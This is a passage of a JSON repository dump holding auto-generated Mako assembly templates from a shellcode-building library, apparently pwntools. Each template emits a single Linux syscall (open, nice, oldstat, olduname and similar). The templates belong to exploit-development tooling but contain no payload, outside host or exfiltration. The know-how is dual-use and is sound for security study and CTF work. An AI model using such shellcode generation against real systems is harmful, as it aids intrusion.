*/\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/newfstatat.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>newfstatat(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall newfstatat.\n\nSee 'man 2 newfstatat' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_newfstatat']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_newfstatat'])\n%>\n    /* newfstatat(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/nfsservctl.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>nfsservctl(cmd, argp, resp) -> str\n\nInvokes the syscall nfsservctl.\n\nSee 'man 2 nfsservctl' for more information.\n\nArguments:\n    cmd(int): cmd\n    argp(nfsctl_arg*): argp\n    resp(nfsctl_res*): resp\nReturns:\n    long\n</%docstring>\n<%page args=\"cmd=0, argp=0, resp=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['cmd', 'argp', 'resp']\n    argument_values = [cmd, argp, resp]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_nfsservctl']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_nfsservctl'])\n%>\n    /* nfsservctl(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/nice.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>nice(inc) -> str\n\nInvokes the syscall nice.\n\nSee 'man 2 nice' for more information.\n\nArguments:\n    inc(int): inc\nReturns:\n    int\n</%docstring>\n<%page args=\"inc=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['inc']\n    argument_values = [inc]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_nice']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_nice'])\n%>\n    /* nice(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/oldfstat.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>oldfstat(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall oldfstat.\n\nSee 'man 2 oldfstat' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_oldfstat']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_oldfstat'])\n%>\n    /* oldfstat(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/oldlstat.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>oldlstat(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall oldlstat.\n\nSee 'man 2 oldlstat' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_oldlstat']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_oldlstat'])\n%>\n    /* oldlstat(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/oldolduname.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>oldolduname(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall oldolduname.\n\nSee 'man 2 oldolduname' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_oldolduname']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_oldolduname'])\n%>\n    /* oldolduname(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/oldstat.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>oldstat(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall oldstat.\n\nSee 'man 2 oldstat' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_oldstat']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_oldstat'])\n%>\n    /* oldstat(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/olduname.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>olduname(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall olduname.\n\nSee 'man 2 olduname' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_olduname']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_olduname'])\n%>\n    /* olduname(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/open.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>open(file, oflag, mode) -> str\n\nInvokes the syscall open.\n\nSee 'man 2 open' for more information.\n\nArguments:\n    file(char*): file\n    oflag(int): oflag\n    mode(int): mode\nReturns:\n    int\n</%docstring>\n<%page args=\"file=0, oflag=0, mode=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['file']\n    can_pushstr_array = []\n\n    argument_names = ['file', 'oflag', 'mode']\n    argument_values = [file, oflag, mode]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_open']:\n        if hasattr(pwnlib.constants, syscall):\n            